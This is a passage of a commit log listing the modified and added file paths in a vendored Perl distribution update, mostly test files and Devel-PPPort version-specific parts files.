    vendor/perl/dist/t/op/write.t
    vendor/perl/dist/t/op/yadayada.t
    vendor/perl/dist/t/opbasic/arith.t
    vendor/perl/dist/t/opbasic/cmp.t
    vendor/perl/dist/t/opbasic/concat.t
    vendor/perl/dist/t/opbasic/qq.t
    vendor/perl/dist/t/perf/benchmarks
    vendor/perl/dist/t/perf/benchmarks.t
    vendor/perl/dist/t/perf/opcount.t
    vendor/perl/dist/t/perf/optree.t
    vendor/perl/dist/t/porting/authors.t
    vendor/perl/dist/t/porting/bench.t
    vendor/perl/dist/t/porting/cmp_version.t
    vendor/perl/dist/t/porting/corelist.t
    vendor/perl/dist/t/porting/customized.dat
    vendor/perl/dist/t/porting/customized.t
    vendor/perl/dist/t/porting/diag.t
    vendor/perl/dist/t/porting/extrefs.t
    vendor/perl/dist/t/porting/globvar.t
    vendor/perl/dist/t/porting/known_pod_issues.dat
    vendor/perl/dist/t/porting/pending-author.t
    vendor/perl/dist/t/porting/podcheck.t
    vendor/perl/dist/t/porting/regen.t
    vendor/perl/dist/t/porting/test_bootstrap.t
    vendor/perl/dist/t/re/anyof.t
    vendor/perl/dist/t/re/pat.t
    vendor/perl/dist/t/re/pat_advanced.t
    vendor/perl/dist/t/re/pat_psycho.t
    vendor/perl/dist/t/re/pat_re_eval.t
    vendor/perl/dist/t/re/re_tests
    vendor/perl/dist/t/re/reg_mesg.t
    vendor/perl/dist/t/re/regex_sets.t
    vendor/perl/dist/t/re/regexp.t
    vendor/perl/dist/t/re/regexp_unicode_prop.t
    vendor/perl/dist/t/re/rxcode.t
    vendor/perl/dist/t/re/speed.t
    vendor/perl/dist/t/re/subst.t
    vendor/perl/dist/t/run/locale.t
    vendor/perl/dist/t/run/runenv.t
    vendor/perl/dist/t/run/switches.t
    vendor/perl/dist/t/test.pl
    vendor/perl/dist/t/thread_it.pl
    vendor/perl/dist/t/uni/cache.t
    vendor/perl/dist/t/uni/caller.t
    vendor/perl/dist/t/uni/parser.t
    vendor/perl/dist/t/uni/stash.t
    vendor/perl/dist/t/win32/runenv.t
    vendor/perl/dist/taint.c
    vendor/perl/dist/thread.h
    vendor/perl/dist/time64.h
    vendor/perl/dist/time64_config.h
    vendor/perl/dist/toke.c
    vendor/perl/dist/uconfig.h
    vendor/perl/dist/uconfig.sh
    vendor/perl/dist/uconfig64.sh
    vendor/perl/dist/unicode_constants.h
    vendor/perl/dist/universal.c
    vendor/perl/dist/unixish.h
    vendor/perl/dist/utf8.c
    vendor/perl/dist/utf8.h
    vendor/perl/dist/utfebcdic.h
    vendor/perl/dist/util.c
    vendor/perl/dist/util.h
    vendor/perl/dist/utils/perlbug.PL
    vendor/perl/dist/vms/descrip_mms.template
    vendor/perl/dist/vms/vms.c
    vendor/perl/dist/vms/vmsish.h
    vendor/perl/dist/vutil.c
    vendor/perl/dist/vutil.h
    vendor/perl/dist/vxs.inc
    vendor/perl/dist/warnings.h
    vendor/perl/dist/win32/FindExt.pm
    vendor/perl/dist/win32/GNUmakefile
    vendor/perl/dist/win32/Makefile
    vendor/perl/dist/win32/Makefile.ce
    vendor/perl/dist/win32/config.ce
    vendor/perl/dist/win32/config.gc
    vendor/perl/dist/win32/config.vc
    vendor/perl/dist/win32/config_H.ce
    vendor/perl/dist/win32/config_H.gc
    vendor/perl/dist/win32/config_H.vc
    vendor/perl/dist/win32/config_sh.PL
    vendor/perl/dist/win32/list_static_libs.pl
    vendor/perl/dist/win32/makefile.mk
    vendor/perl/dist/win32/perlhost.h
    vendor/perl/dist/win32/perllib.c
    vendor/perl/dist/win32/pod.mak
    vendor/perl/dist/win32/win32.c
    vendor/perl/dist/win32/win32.h
    vendor/perl/dist/win32/wince.c

Added Paths:
-----------
    vendor/perl/dist/.metaconf-exclusions.txt
    vendor/perl/dist/.travis.yml
    vendor/perl/dist/PACKAGING
    vendor/perl/dist/Porting/mksample
    vendor/perl/dist/cpan/Config-Perl-V/t/32_plv5261rc1.t
    vendor/perl/dist/cpan/Config-Perl-V/t/33_plv52711r.t
    vendor/perl/dist/cpan/Encode/t/truncated_utf8.t
    vendor/perl/dist/cpan/Encode/t/undef.t
    vendor/perl/dist/cpan/Encode/t/use-Encode-Alias.t
    vendor/perl/dist/cpan/Encode/t/utf8messages.t
    vendor/perl/dist/cpan/Encode/t/whatwg-aliases.json
    vendor/perl/dist/cpan/Encode/t/whatwg-aliases.t
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/os_unsupported.t
    vendor/perl/dist/cpan/JSON-PP/t/117_numbers.t
    vendor/perl/dist/cpan/JSON-PP/t/gh_28_json_test_suite.t
    vendor/perl/dist/cpan/JSON-PP/t/gh_29_trailing_false_value.t
    vendor/perl/dist/cpan/JSON-PP/t/rt_116998_wrong_character_offset.t
    vendor/perl/dist/cpan/JSON-PP/t/rt_90071_incr_parse.t
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Types.pod
    vendor/perl/dist/cpan/Locale-Codes/t/country_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/country_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/currency_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/currency_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/do_tests.pl
    vendor/perl/dist/cpan/Locale-Codes/t/errors.1.t
    vendor/perl/dist/cpan/Locale-Codes/t/errors.2.t
    vendor/perl/dist/cpan/Locale-Codes/t/langext_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/langext_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/langfam_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/langfam_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/language_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/language_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/langvar_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/langvar_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/script_func.t
    vendor/perl/dist/cpan/Locale-Codes/t/script_oo.t
    vendor/perl/dist/cpan/Locale-Codes/t/vals_error.pl
    vendor/perl/dist/cpan/Math-BigInt/t/bfib-mbi.t
    vendor/perl/dist/cpan/Math-BigInt/t/blucas-mbi.t
    vendor/perl/dist/cpan/Math-BigRat/t/rt121139.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/exotic_names.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/head-tail.t
    vendor/perl/dist/cpan/Test-Harness/t/env_opts.t
    vendor/perl/dist/cpan/Test-Harness/t/rulesfile.t
    vendor/perl/dist/cpan/Test-Harness/t/sample-tests/space_after_plan_v13
    vendor/perl/dist/cpan/Test-Harness/t/source_tests/test.tap
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Fail.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/Pass.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Event/V2.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/EventFacet.pm
    vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
    vendor/perl/dist/cpan/Test-Simple/t/HashBase.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/Regression/789-read-only.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/no_log_results.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy/subtest/callback.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t
    vendor/perl/dist/cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/intercept.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/trace_signature.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/behavior/uuid.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Fail.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Pass.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/TAP/
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/V2.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t
    vendor/perl/dist/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/757-reset_in_subtest.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/builder_does_not_init.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/errors_facet.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/inherit_trace.t
    vendor/perl/dist/cpan/Test-Simple/t/regression/todo_and_facets.t
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/dsb.pl
    vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/lkt.pl
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_dsb.t
    vendor/perl/dist/cpan/Unicode-Collate/t/loc_lkt.t
    vendor/perl/dist/cpan/Unicode-Collate/t/nushu.t
    vendor/perl/dist/cpan/Unicode-Collate/t/tangut.t
    vendor/perl/dist/cpan/version/t/11_taint.t
    vendor/perl/dist/dist/Carp/t/Carp_overloadless.t
    vendor/perl/dist/dist/Carp/t/broken_can.t
    vendor/perl/dist/dist/Carp/t/broken_univ_can.t
    vendor/perl/dist/dist/Carp/t/stack_after_err.t
    vendor/perl/dist/dist/Devel-PPPort/
    vendor/perl/dist/dist/Devel-PPPort/HACKERS
    vendor/perl/dist/dist/Devel-PPPort/Makefile.PL
    vendor/perl/dist/dist/Devel-PPPort/PPPort.xs
    vendor/perl/dist/dist/Devel-PPPort/PPPort_pm.PL
    vendor/perl/dist/dist/Devel-PPPort/PPPort_xs.PL
    vendor/perl/dist/dist/Devel-PPPort/apicheck_c.PL
    vendor/perl/dist/dist/Devel-PPPort/devel/
    vendor/perl/dist/dist/Devel-PPPort/devel/buildperl.pl
    vendor/perl/dist/dist/Devel-PPPort/devel/devtools.pl
    vendor/perl/dist/dist/Devel-PPPort/devel/mkapidoc.sh
    vendor/perl/dist/dist/Devel-PPPort/devel/mktodo
    vendor/perl/dist/dist/Devel-PPPort/devel/mktodo.pl
    vendor/perl/dist/dist/Devel-PPPort/devel/regenerate
    vendor/perl/dist/dist/Devel-PPPort/devel/scanprov
    vendor/perl/dist/dist/Devel-PPPort/mktests.PL
    vendor/perl/dist/dist/Devel-PPPort/module2.c
    vendor/perl/dist/dist/Devel-PPPort/module3.c
    vendor/perl/dist/dist/Devel-PPPort/parts/
    vendor/perl/dist/dist/Devel-PPPort/parts/apicheck.pl
    vendor/perl/dist/dist/Devel-PPPort/parts/apidoc.fnc
    vendor/perl/dist/dist/Devel-PPPort/parts/base/
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5003070
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5004000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5004010
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5004020
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5004030
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5004040
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5004050
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5005000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5005010
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5005020
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5005030
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5005040
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5006000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5006001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5006002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5007000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5007001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5007002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5007003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5008009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5009000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5009001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5009002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5009003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5009004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5009005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5010000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5010001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5011000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5011001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5011002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5011003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5011004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5011005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5012000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5012001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5012002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5012003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5012004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5012005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013010
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5013011
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5014000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5014001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5014002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5014003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5014004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5015009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5016000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5016001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5016002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5016003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017010
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5017011
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5018000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5018001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5018002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5018003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5018004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019010
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5019011
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5020000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5020001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5020002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5020003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021010
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5021011
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5022000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5022001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023000
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023001
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023002
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023003
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023004
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023005
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023006
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023007
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023008
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5023009
    vendor/perl/dist/dist/Devel-PPPort/parts/base/5024000
    vendor/perl/dist/dist/Devel-PPPort/parts/embed.fnc
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/HvNAME
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/MY_CXT
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvPV
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvREFCNT
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/Sv_set
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/call
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/cop
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/exception
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/format
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/grok
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/gv
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/limits
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/mPUSH
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/magic
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/memory
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/mess
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/misc
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/newCONSTSUB
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/newRV
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSV_type
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSVpv
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/podtest
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphbin
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphdoc
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphtest
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/pv_tools
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/pvs
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/shared_pv
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/snprintf
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/sprintf
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/strlfuncs
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/sv_xpvf
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/threads
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/uv
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/variables
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/version
    vendor/perl/dist/dist/Devel-PPPort/parts/inc/warn
    vendor/perl/dist/dist/Devel-PPPort/parts/ppport.fnc
    vendor/perl/dist/dist/Devel-PPPort/parts/ppptools.pl
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5003070
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004010
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004020
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004030
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004040
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5004050
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005010
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005020
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005030
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5005040
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013005
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013006
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013007
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013008
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013009
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013010
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013011
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014004
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015000
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015001
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015002
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015003
    vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015004
